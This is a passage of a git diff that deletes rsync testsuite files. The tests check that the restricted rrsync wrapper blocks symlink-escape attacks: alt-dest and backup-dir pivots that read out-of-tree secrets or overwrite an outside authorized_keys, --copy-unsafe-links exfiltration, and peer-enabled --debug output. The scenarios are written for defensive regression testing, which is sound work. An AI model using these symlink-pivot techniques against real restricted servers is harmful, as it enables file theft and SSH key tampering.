test_fail(f\"{tag}: client file does not match daemon source after pull\")\n-    assert_delta(tag, received)\n-    print(f\"{tag}: OK (received {received} bytes for a {FILESIZE}-byte file)\")\n-\n-\n-os.chdir(TMPDIR)\n-makepath(FROMDIR, TODIR)\n-\n-# Current build is the daemon; old binary is the client.\n-conf = build_rsyncd_conf()\n-url = start_test_daemon(conf, DAEMON_PORT, rsync_cmd=RSYNC)\n-\n-src = TMPDIR / 'client-src'\n-dst = TMPDIR / 'client-dst'\n-makepath(src, dst)\n-\n-run_push(compress=False)\n-run_push(compress=True)\n-run_pull(compress=False)\n-run_pull(compress=True)\ndiff --git a/testsuite/rrsync-alt-dest-inband-pivot_test.py b/testsuite/rrsync-alt-dest-inband-pivot_test.py\ndeleted file mode 100644\nindex ad60128..0000000\n--- a/testsuite/rrsync-alt-dest-inband-pivot_test.py\n+++ /dev/null\n@@ -1,144 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"An in-band symlink at an alt-dest name must not read outside the restricted dir.\n-\n---link-dest/--compare-dest/--copy-dest name a basis directory rsync only reads\n-through.  A missing one is the ordinary first-run case, so it cannot simply be\n-refused -- but leaving the name for rsync to resolve lets the same transfer\n-plant a symlink there and have the basis lookup read out of the tree.  With\n---copy-dest a matching basis file is copied into the destination, so the\n-out-of-tree content lands where it can be read back.\n-\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    index = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[index:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    os.execve(wrapper, [wrapper, '-wo', root], env)\n-\n-from rsyncfns import (RSYNC, SCRATCHDIR, makepath, patched_rrsync,\n-                      proc_self_fd_pins, rmtree, rsync_argv, rsync_path_arg,\n-)\n-\n-T = 1234567890\n-\n-base = SCRATCHDIR / 'rrsync-alt-dest-inband-pivot'\n-rmtree(base)\n-src = base / 'src'\n-root = base / 'restricted'\n-outside = base / 'outside'\n-makepath(src, root, outside)\n-\n-# Same length and mtime as the source file, so rsync's quick check calls the\n-# basis a match and --copy-dest copies it instead of transferring.\n-(outside / 'f0').write_bytes(b'ADMIN-SECRET\\n')\n-(src / 'f0').write_bytes(b'CLIENT-DATA0\\n')\n-# The pivot has to be INSTALLED before the generator does f0's basis lookup,\n-# and the generator runs ahead of the receiver -- sorting 'basis' first is not\n-# enough on its own, and a run where the generator wins would pass vacuously.\n-# Put a few thousand files in between: the receiver has only the symlink to\n-# write while the generator has to work through all of them, so by the time it\n-# reaches f0 the symlink is long since in place.  The assertion after the run\n-# checks that it really was, rather than trusting the ordering.\n-os.symlink('../outside', src / 'basis')\n-filler = src / 'c'\n-filler.mkdir()\n-for i in range(3000):\n-    (filler / ('%04d' % i)).write_bytes(b'.')\n-os.utime(src / 'f0', (T, T))\n-os.utime(outside / 'f0', (T, T))\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-\n-got = subprocess.run(\n-    rsync_argv('-rlt', '--copy-dest=basis', '-e', rsh, f'{src}/', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=60)\n-\n-landed = (root / 'f0').read_bytes() if (root / 'f0').exists() else None\n-pivot = os.readlink(root / 'basis') if (root / 'basis').is_symlink() else None\n-print(f'rc={got.returncode}, landed={landed!r}, pivot={pivot!r}, '\n-      f'stderr={got.stderr!r}', flush=True)\n-assert landed != b'ADMIN-SECRET\\n', (\n-    'rrsync let a --copy-dest symlink created by the same transfer read a file '\n-    'outside the restricted directory and deliver it to the client')\n-\n-if proc_self_fd_pins():\n-    # rrsync stands in an empty unlinked directory: the basis lookup finds\n-    # nothing, so the file transfers normally and first-run alt-dest keeps\n-    # working.  That it SUCCEEDS is the point -- refusing would have been the\n-    # easy answer and would break every first-run --link-dest.\n-    assert pivot == '../outside', (\n-        'the transfer did not install the pivot symlink, so nothing was in '\n-        f'place for the basis lookup to follow and this run proves nothing: '\n-        f'pivot={pivot!r}')\n-    assert got.returncode == 0, (\n-        f'the transfer failed instead of finding an empty basis: '\n-        f'rc={got.returncode}, stderr={got.stderr!r}')\n-    assert landed == b'CLIENT-DATA0\\n', (\n-        f'the source file did not transfer: landed={landed!r}')\n-else:\n-    # Without the /proc/self/fd primitive there is no way to hand rsync an\n-    # inode instead of a name, so the option is refused BEFORE rsync runs --\n-    # which is why there is no pivot to find here.\n-    assert got.returncode != 0 and 'receiver option path does not exist' in got.stderr, (\n-        f'a missing alt-dest was neither pinned nor refused: '\n-        f'rc={got.returncode}, stderr={got.stderr!r}')\n-    assert pivot is None and landed is None, (\n-        f'the refusal did not stop the transfer: pivot={pivot!r}, '\n-        f'landed={landed!r}')\n-\n-# A basis directory that really exists must still be usable as one.\n-makepath(root / 'real-basis')\n-(root / 'real-basis' / 'f1').write_bytes(b'BASIS-MATCH\\n')\n-(src / 'f1').write_bytes(b'BASIS-MATCH\\n')\n-os.utime(src / 'f1', (T, T))\n-os.utime(root / 'real-basis' / 'f1', (T, T))\n-ok = subprocess.run(\n-    rsync_argv('-rlt', '--copy-dest=real-basis', '-e', rsh,\n-               f'{src}/f1', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert ok.returncode == 0 and (root / 'f1').read_bytes() == b'BASIS-MATCH\\n', (\n-    f'an existing --copy-dest basis stopped working: rc={ok.returncode}, '\n-    f'stderr={ok.stderr!r}')\n-\n-# --compare-dest takes the same route and must be covered too: a match there\n-# makes rsync skip the file entirely rather than copy it, so the tell is the\n-# file going MISSING from the destination.\n-rmtree(root)\n-makepath(root)\n-got = subprocess.run(\n-    rsync_argv('-rlt', '--compare-dest=basis', '-e', rsh, f'{src}/', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=60)\n-landed = (root / 'f0').read_bytes() if (root / 'f0').exists() else None\n-pivot = os.readlink(root / 'basis') if (root / 'basis').is_symlink() else None\n-if proc_self_fd_pins():\n-    assert pivot == '../outside' and got.returncode == 0, (\n-        'the --compare-dest run did not install the pivot or did not complete, '\n-        f'so it proves nothing: pivot={pivot!r}, rc={got.returncode}, '\n-        f'stderr={got.stderr!r}')\n-    assert landed == b'CLIENT-DATA0\\n', (\n-        'the out-of-tree basis was consulted through the --compare-dest '\n-        f'symlink, so rsync skipped transferring the file: landed={landed!r}, '\n-        f'stderr={got.stderr!r}')\n-else:\n-    assert got.returncode != 0 and 'receiver option path does not exist' in got.stderr, (\n-        f'a missing --compare-dest was neither pinned nor refused: '\n-        f'rc={got.returncode}, stderr={got.stderr!r}')\n-    assert pivot is None, f'the refusal did not stop the transfer: pivot={pivot!r}'\ndiff --git a/testsuite/rrsync-archive-mode_test.py b/testsuite/rrsync-archive-mode_test.py\ndeleted file mode 100644\nindex efa4d23..0000000\n--- a/testsuite/rrsync-archive-mode_test.py\n+++ /dev/null\n@@ -1,47 +0,0 @@\n-#!/usr/bin/env python3\n-# A subdir-restricted rrsync must accept a normal `rsync -a` transfer.\n-#\n-# A/B-discovered regression (abdiff: 3.5 rrsync vs 3.4.4 rrsync).  3.5 added 'D'\n-# to rrsync's short_disabled_subdir ('KLk' -> 'DKLk') to deny device/special\n-# CREATION in a restricted upload dir.  But `-a` is `-rlptgoD`: the client always\n-# sends a bundled short-option string containing 'D' (e.g. -logDtpre.iLsfxCIvu),\n-# so a subdir-restricted rrsync now REJECTS plain `rsync -a` outright:\n-#     <rrsync> error: option -D has been disabled on this server.   (exit 1)\n-# -- in BOTH directions (push and pull).  3.4.4's rrsync accepted it.  This\n-# breaks the canonical \"rsync -a ... rrsync-host:dir/\" backup for every restricted\n-# (non-\"/\") rrsync, on every platform.  The deny should strip device/special\n-# semantics (e.g. force --no-D), not reject the whole transfer.\n-#\n-# Stub test (RSYNC -> true): we only check rrsync's option ACCEPTANCE, not a real\n-# transfer.  Runs anywhere python3 + true exist; no root.\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, patched_rrsync, test_fail, test_skipped\n-\n-true = shutil.which('true') or '/usr/bin/true'\n-if not os.path.exists(true):\n-    test_skipped(\"no true(1) to stub rsync\")\n-\n-base = SCRATCHDIR / 'rrsync_a'\n-restricted = base / 'restricted'\n-restricted.mkdir(parents=True, exist_ok=True)\n-# The pull (--sender) command reads `inbox/`; rrsync inode-pins an existing\n-# --sender source before exec (a non-existent one is treated as a race and\n-# refused), so the source must exist for this option-acceptance check.\n-(restricted / 'inbox').mkdir(exist_ok=True)\n-rrsync = patched_rrsync(base, rsync_path=true)\n-\n-# What a stock `rsync -a` sends as the server command (bundled short opts incl D):\n-for direction, cmd in ((\"push\", 'rsync --server -logDtpre.iLsfxCIvu . inbox/'),\n-                       (\"pull\", 'rsync --server --sender -logDtpre.iLsfxCIvu . inbox/')):\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': cmd}\n-    r = subprocess.run([str(rrsync), str(restricted)], env=env,\n-                       capture_output=True, text=True)\n-    if r.returncode != 0:\n-        test_fail(f\"subdir-restricted rrsync rejected `rsync -a` ({direction}, \"\n-                  f\"exit {r.returncode}): {r.stderr.strip()}\")\n-\n-print(\"rrsync-archive-mode: subdir-restricted rrsync accepts `rsync -a` (push & pull)\")\ndiff --git a/testsuite/rrsync-backup-dir-inband-pivot_test.py b/testsuite/rrsync-backup-dir-inband-pivot_test.py\ndeleted file mode 100644\nindex 3a2a15a..0000000\n--- a/testsuite/rrsync-backup-dir-inband-pivot_test.py\n+++ /dev/null\n@@ -1,224 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync must not let one transfer create and consume an option-path symlink.\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    index = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[index:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper = env['RRSYNC_WRAPPER']\n-    root = env['RRSYNC_ROOT']\n-    os.execve(wrapper, [wrapper, '-wo', root], env)\n-\n-from rsyncfns import (RSYNC, SCRATCHDIR, makepath, patched_rrsync,\n-                      proc_self_fd_pins, rmtree, rsync_argv, rsync_path_arg,\n-)\n-\n-# Handing rsync an inode instead of a name needs the /proc/self/fd primitive.\n-# Where it is missing there is no safe way to pass a peer-suppliable option\n-# path, so rrsync refuses it outright -- the escape is blocked either way, but\n-# only the pinning answer also keeps first use working.\n-PINS = proc_self_fd_pins()\n-\n-base = SCRATCHDIR / 'rrsync-backup-dir-inband-pivot'\n-rmtree(base)\n-stage = base / 'attacker-stage'\n-src = base / 'attacker-next'\n-root = base / 'restricted'\n-outside = base / 'outside'\n-makepath(stage, src, root, outside)\n-\n-(stage / 'authorized_keys').write_bytes(b'ATTACKER-SSH-KEY\\n')\n-(src / 'authorized_keys').write_bytes(b'NEW-IN-TREE-CONTENT\\n')\n-os.symlink('../outside', src / 'a')\n-(outside / 'authorized_keys').write_bytes(b'ADMIN-SSH-KEY\\n')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-\n-seed = subprocess.run(\n-    rsync_argv('-rlI', '-e', rsh, f'{stage}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert seed.returncode == 0\n-assert (root / 'authorized_keys').read_bytes() == b'ATTACKER-SSH-KEY\\n'\n-assert not (root / 'a').exists()\n-\n-os.symlink('../outside', root / 'a')\n-blocked = subprocess.run(\n-    rsync_argv('-rlbI', '--backup-dir=a', '-e', rsh,\n-               f'{src}/', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert blocked.returncode != 0\n-assert (outside / 'authorized_keys').read_bytes() == b'ADMIN-SSH-KEY\\n'\n-(root / 'a').unlink()\n-\n-seed = subprocess.run(\n-    rsync_argv('-rlI', '-e', rsh, f'{stage}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert seed.returncode == 0\n-\n-got = subprocess.run(\n-    rsync_argv('-rlbI', '--backup-dir=a', '-e', rsh,\n-               f'{src}/', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-\n-escaped = outside / 'authorized_keys'\n-pivot = os.readlink(root / 'a') if (root / 'a').is_symlink() else None\n-print(f'seed_rc={seed.returncode}, rc={got.returncode}, pivot={pivot!r}, '\n-      f'escaped={escaped.read_bytes()!r}, stderr={got.stderr!r}', flush=True)\n-assert escaped.read_bytes() == b'ADMIN-SSH-KEY\\n', (\n-    'rrsync followed a backup-dir symlink created by the same transfer and '\n-    'replaced an existing file outside its restricted directory')\n-# ...and it has to be blocked by THIS policy.  \"the outside file is unchanged\"\n-# is also satisfied by any unrelated failure, so require a nonzero status plus\n-# the evidence of the mechanism that produced it.\n-assert got.returncode != 0, (\n-    f'the pivot did not overwrite the outside file, but the transfer also did '\n-    f'not fail, so nothing stopped it: rc={got.returncode}, '\n-    f'stderr={got.stderr!r}')\n-if PINS:\n-    # rrsync created the backup dir itself before exec, so the transfer's own\n-    # symlink could only unlink that name, not redirect the held inode -- which\n-    # is why the backup fails instead of escaping.  The symlink must actually\n-    # have been planted, or the pivot was never attempted.\n-    assert pivot == '../outside', (\n-        f'the transfer did not plant the pivot symlink, so the run proves '\n-        f'nothing: pivot={pivot!r}')\n-    assert '/proc/self/fd/' in got.stderr, (\n-        'the transfer failed, but not through the pinned backup dir: an '\n-        f'unrelated failure would satisfy the check above: stderr={got.stderr!r}')\n-else:\n-    assert 'receiver option path does not exist' in got.stderr, (\n-        'the transfer failed, but not with the missing-option-path refusal: '\n-        f'an unrelated failure would satisfy the check above: '\n-        f'stderr={got.stderr!r}')\n-\n-# --temp-dir: rsync does not create it, so a missing one is refused on every\n-# platform rather than being conjured up.\n-tmpdir = subprocess.run(\n-    rsync_argv('-rlI', '--temp-dir=no-such-tmp', '-e', rsh,\n-               f'{src}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert tmpdir.returncode != 0 and 'receiver option path does not exist' in tmpdir.stderr, (\n-    f'a missing --temp-dir was not refused: rc={tmpdir.returncode}, '\n-    f'stderr={tmpdir.stderr!r}')\n-assert not (root / 'no-such-tmp').exists(), (\n-    'a missing --temp-dir must not be created either')\n-\n-if not PINS:\n-    # Without the pin primitive every peer-suppliable option path whose leaf is\n-    # missing is refused, so the first-use cases below cannot apply.  Check the\n-    # refusal itself and stop: the escape was already shown blocked above.\n-    for opt in ('--backup-dir=fresh-backup', '--partial-dir=.rsync-partial',\n-                '--link-dest=no-such-basis'):\n-        r = subprocess.run(\n-            rsync_argv('-rlbI', opt, '-e', rsh, f'{src}/authorized_keys', 'ignored:'),\n-            env=env, capture_output=True, text=True, timeout=20)\n-        assert r.returncode != 0 and 'receiver option path does not exist' in r.stderr, (\n-            f'{opt} was neither pinned nor refused without /proc/self/fd: '\n-            f'rc={r.returncode}, stderr={r.stderr!r}')\n-    sys.exit(0)\n-\n-# Controls come after the security assertions on purpose: an environment where\n-# a control fails for an unrelated reason must not be able to mask the escape\n-# check above by aborting first.\n-def reseed():\n-    r = subprocess.run(\n-        rsync_argv('-rlI', '-e', rsh, f'{stage}/authorized_keys', 'ignored:'),\n-        env=env, capture_output=True, text=True, timeout=20)\n-    assert r.returncode == 0, f'reseed failed: stderr={r.stderr!r}'\n-    assert (root / 'authorized_keys').read_bytes() == b'ATTACKER-SSH-KEY\\n'\n-\n-\n-reseed()\n-\n-# An ordinary in-tree backup into a directory that already exists.\n-(root / 'backup').mkdir()\n-normal = subprocess.run(\n-    rsync_argv('-rlbI', '--backup-dir=backup', '-e', rsh,\n-               f'{src}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert normal.returncode == 0, f\"ordinary in-tree backup failed: stderr={normal.stderr!r}\"\n-assert (root / 'backup' / 'authorized_keys').read_bytes() == b'ATTACKER-SSH-KEY\\n'\n-\n-# A first-use --backup-dir must still WORK: rrsync creates the missing leaf\n-# under the pinned parent rather than refusing it, so dated/rotating backup\n-# directory names keep working through a restricted account.\n-reseed()\n-firstuse = subprocess.run(\n-    rsync_argv('-rlbI', '--backup-dir=fresh-backup', '-e', rsh,\n-               f'{src}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert firstuse.returncode == 0, (\n-    f'a first-use --backup-dir was refused: rc={firstuse.returncode}, '\n-    f'stderr={firstuse.stderr!r}')\n-fresh = root / 'fresh-backup'\n-assert fresh.is_dir() and not fresh.is_symlink(), (\n-    f'first-use --backup-dir did not leave a real directory: {fresh}')\n-assert (fresh / 'authorized_keys').read_bytes() == b'ATTACKER-SSH-KEY\\n', (\n-    'the backup did not land in the created backup dir, so the run above '\n-    'proves nothing about --backup-dir working')\n-\n-# A first-use --backup-dir may also name a whole missing hierarchy: rsync\n-# builds one itself (make_bak_dir()), so rrsync has to as well rather than\n-# stopping at \"the immediate parent must exist\".\n-reseed()\n-nested = subprocess.run(\n-    rsync_argv('-rlbI', '--backup-dir=bak/2026/07', '-e', rsh,\n-               f'{src}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert nested.returncode == 0, (\n-    f'a nested first-use --backup-dir was refused: rc={nested.returncode}, '\n-    f'stderr={nested.stderr!r}')\n-assert (root / 'bak' / '2026' / '07' / 'authorized_keys').exists(), (\n-    'the nested backup dir was accepted but the backup did not land in it')\n-\n-# Same for a first-use --partial-dir, the resumable-upload idiom -- and it must\n-# be created 0700 as rsync creates it (util1.c), not 0777&~umask: a partial\n-# file is an incomplete copy of the peer's data and is not for the rest of the\n-# machine to read.\n-partial = subprocess.run(\n-    rsync_argv('-rlI', '--partial', '--partial-dir=.rsync-partial', '-e', rsh,\n-               f'{src}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert partial.returncode == 0, (\n-    f'a first-use --partial-dir was refused: rc={partial.returncode}, '\n-    f'stderr={partial.stderr!r}')\n-pdir = root / '.rsync-partial'\n-assert pdir.is_dir() and not pdir.is_symlink(), (\n-    f'first-use --partial-dir did not leave a real directory: {pdir}')\n-mode = pdir.stat().st_mode & 0o777\n-assert mode == 0o700, (\n-    f'the partial dir was created {mode:04o}, not 0700: partial files would be '\n-    'readable by other users on the server')\n-\n-# A missing alt-dest is neither created nor refused: naming a basis directory\n-# that does not exist yet is the ordinary first-run case.  rrsync stands in an\n-# empty unlinked directory, so the lookup finds nothing and no name is left for\n-# an in-band symlink to take over (see rrsync-alt-dest-inband-pivot).\n-altdest = subprocess.run(\n-    rsync_argv('-rlI', '--link-dest=no-such-basis', '-e', rsh,\n-               f'{src}/authorized_keys', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert altdest.returncode == 0, (\n-    f'a first-run --link-dest was refused: rc={altdest.returncode}, '\n-    f'stderr={altdest.stderr!r}')\n-assert not (root / 'no-such-basis').exists(), (\n-    'a missing --link-dest must not be created')\n-assert not list(root.glob('.rrsync-empty-basis*')), (\n-    'the basis placeholder was left behind in the restricted dir')\ndiff --git a/testsuite/rrsync-copy-unsafe-links-denied_test.py b/testsuite/rrsync-copy-unsafe-links-denied_test.py\ndeleted file mode 100644\nindex 21d7f82..0000000\n--- a/testsuite/rrsync-copy-unsafe-links-denied_test.py\n+++ /dev/null\n@@ -1,50 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding [8] (CWE-59): support/rrsync leaves --copy-unsafe-links enabled in a\n-# restricted (non-\"/\") directory.  A restricted SSH user who can request\n-# --copy-unsafe-links can have the spawned rsync sender dereference a symlink\n-# that points OUTSIDE the restricted tree and copy the *referent's content* out,\n-# exfiltrating files readable by the rrsync account but outside the allowed\n-# policy directory.\n-#\n-# Part 1 demonstrates the danger of the option itself: a symlink inside the\n-# served tree pointing at an outside secret is dereferenced by --copy-unsafe-\n-# links, so the outside content lands in the puller's copy.  Part 2 is the fix:\n-# a restricted rrsync now refuses --copy-unsafe-links, so the part-1 exfiltration\n-# cannot be requested through the wrapper.  Runs at any uid.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, run_rrsync_denied, test_fail,\n-)\n-\n-SECRET = 'OUTSIDE-SECRET-readable-by-the-rrsync-account\\n'\n-\n-base = SCRATCHDIR / 'rrsync-copy-unsafe'\n-rmtree(base)\n-served = base / 'restricted'\n-outside = base / 'outside'\n-served.mkdir(parents=True)\n-outside.mkdir()\n-(outside / 'secret').write_text(SECRET)\n-# An \"unsafe\" symlink: it lives inside the served tree but its target escapes it.\n-os.symlink('../outside/secret', served / 'leak')\n-\n-# --- Part 1: --copy-unsafe-links dereferences the escaping symlink (the danger).\n-dest = base / 'dest'\n-dest.mkdir()\n-subprocess.run(rsync_argv('-a', '--copy-unsafe-links', f'{served}/', f'{dest}/'),\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-leaked = dest / 'leak'\n-if not (leaked.is_file() and not leaked.is_symlink() and leaked.read_text() == SECRET):\n-    test_fail(\"premise check failed: --copy-unsafe-links should turn the escaping \"\n-              \"symlink into a regular file holding the outside secret\")\n-\n-# --- Part 2: a restricted rrsync must refuse --copy-unsafe-links, so the\n-# exfiltration shown in part 1 cannot be requested through the wrapper.\n-run_rrsync_denied('rsync --server --sender --copy-unsafe-links . .',\n-                  'option --copy-unsafe-links has been disabled')\n-\n-print(\"rrsync-copy-unsafe-links: --copy-unsafe-links exfiltrates outside symlink \"\n-      \"targets; restricted rrsync refuses it\")\ndiff --git a/testsuite/rrsync-debug-denied_test.py b/testsuite/rrsync-debug-denied_test.py\ndeleted file mode 100644\nindex ebc2cd2..0000000\n--- a/testsuite/rrsync-debug-denied_test.py\n+++ /dev/null\n@@ -1,78 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync must not let a peer turn on the server's --debug output.\n-\n-Defence in depth, not the fix: what actually stops a merge file's contents\n-coming back is the redaction in exclude.c (see filter-merge-content-echo).\n-\n-This closes ONE spelling of the control -- an explicit -M--debug -- and no\n-more.  It does not close the FILTER trace family: options.c maps verbosity\n-onto the debug flags, so -vvv still raises a restricted server to FILTER2 and\n-forwards it, and the trace metadata (merge-file openability, the server's\n-absolute paths, mergelist bookkeeping) comes back with it.  Rule TEXT stays\n-redacted at every verbosity, which is the property that matters and which\n-filter-merge-content-echo pins.  Do not read this test as sealing -vvv.\n-\n-It costs nothing: server_options() forwards --info but never --debug, so no\n-stock client sends one, and the only way it reaches a server is a peer asking\n-for it by name with -M.\n-\"\"\"\n-\n-import os\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    index = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[index:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    os.execve(wrapper, [wrapper, '-wo', root], env)\n-\n-from rsyncfns import RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv\n-\n-base = SCRATCHDIR / 'rrsync-debug-denied'\n-rmtree(base)\n-src = base / 'src'\n-root = base / 'root'\n-makepath(src, root)\n-(src / 'f').write_bytes(b'hi\\n')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + RSYNC + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{sys.executable} {os.path.abspath(__file__)} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-\n-for spelling in ('-M--debug=FILTER2', '--remote-option=--debug=ALL3'):\n-    got = subprocess.run(\n-        rsync_argv('-r', spelling, '-e', rsh, f'{src}/', 'ignored:'),\n-        env=env, capture_output=True, text=True, timeout=20)\n-    out = got.stdout + got.stderr\n-    assert got.returncode != 0 and 'option --debug has been disabled' in out, (\n-        f'rrsync accepted a peer-selected {spelling}: rc={got.returncode}, '\n-        f'out={out!r}')\n-\n-# The option table is generated by the cull-options script, so the entry this\n-# relies on can come back on a regeneration.  Check the value, not just the\n-# behaviour, so that is unambiguous when it happens.\n-assert \"'debug': -1,\" in wrapper.read_text(), (\n-    \"support/rrsync no longer disables 'debug' -- a cull-options regeneration \"\n-    'probably restored it')\n-\n-# Ordinary transfers must be unaffected -- including -vvv, which reaches\n-# FILTER2 by verbosity alone and so must NOT be caught by the refusal above.\n-for extra in ([], ['-vv'], ['-vvv']):\n-    ok = subprocess.run(\n-        rsync_argv('-r', *extra, '-e', rsh, f'{src}/', 'ignored:'),\n-        env=env, capture_output=True, text=True, timeout=20)\n-    assert ok.returncode == 0 and (root / 'f').read_bytes() == b'hi\\n', (\n-        f'an ordinary transfer broke with {extra}: rc={ok.returncode}, '\n-        f'stderr={ok.stderr!r}')\ndiff --git a/testsuite/rrsync-files-from-stdin_test.py b/testsuite/rrsync-files-from-stdin_test.py\ndeleted file mode 100644\nindex 24eabea..0000000\n--- a/testsuite/rrsync-files-from-stdin_test.py\n+++ /dev/null\n@@ -1,120 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A pull with a local --files-from must work through rrsync.\n-\n-`rsync -a --files-from=LIST host:. dest/` does not send the list file to the\n-server.  It sends the literal `--files-from=-` and streams the names down the\n-protocol connection, so `-` reaches rrsync as an option value meaning \"read the\n-list from stdin\" -- it is a sentinel, not a pathname.\n-\n-88cee089 started inode-pinning every checked option value, and `--files-from`\n-is checked (long_opts['files-from'] == 3).  Pinning `-` means realpath()ing and\n-opening a file named \"-\" in the restricted dir, which does not exist, so rrsync\n-kills the connection before rsync ever runs:\n-\n-    rrsync error: post-realpath open failed (race detected): - No such file...\n-\n-That breaks every --files-from pull through a restricted account.  v3.4.4\n-delivers the file.\n-\n-A list file that really is a pathname must still be validated and pinned, so\n-the second half checks that an out-of-tree --files-from is still refused.\n-\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, test_fail, rsync_path_arg,\n-)\n-\n-DATA = 'FILES-FROM-CONTENT\\n'\n-\n-base = SCRATCHDIR / 'rrsync-files-from'\n-rmtree(base)\n-restricted = base / 'restricted'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-makepath(restricted, dest, outside)\n-\n-(restricted / 'f1').write_text(DATA)\n-(restricted / 'f2').write_text(DATA)\n-(outside / 'list').write_text('f1\\n')\n-\n-listfile = base / 'list'\n-listfile.write_text('f1\\nf2\\n')\n-\n-# $RSYNC may carry a wrapper (valgrind, --protocol=N); rrsync wants a single\n-# executable, so hand it a shim that re-expands the whole command line.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-\n-rrsync = patched_rrsync(base, rsync_path=str(shim))\n-\n-rsh = base / 'fake-rsh'\n-rsh.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s %s\\n' % (shlex.quote(str(rrsync)), shlex.quote(str(restricted))))\n-rsh.chmod(0o755)\n-\n-\n-def transfer(*args):\n-    return subprocess.run(rsync_argv('-a', '-e', str(rsh), *args),\n-                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                          text=True)\n-\n-\n-# --- the regression: a local --files-from sends \"--files-from=-\" -------------\n-proc = transfer('--files-from=' + str(listfile), 'dummy:.', 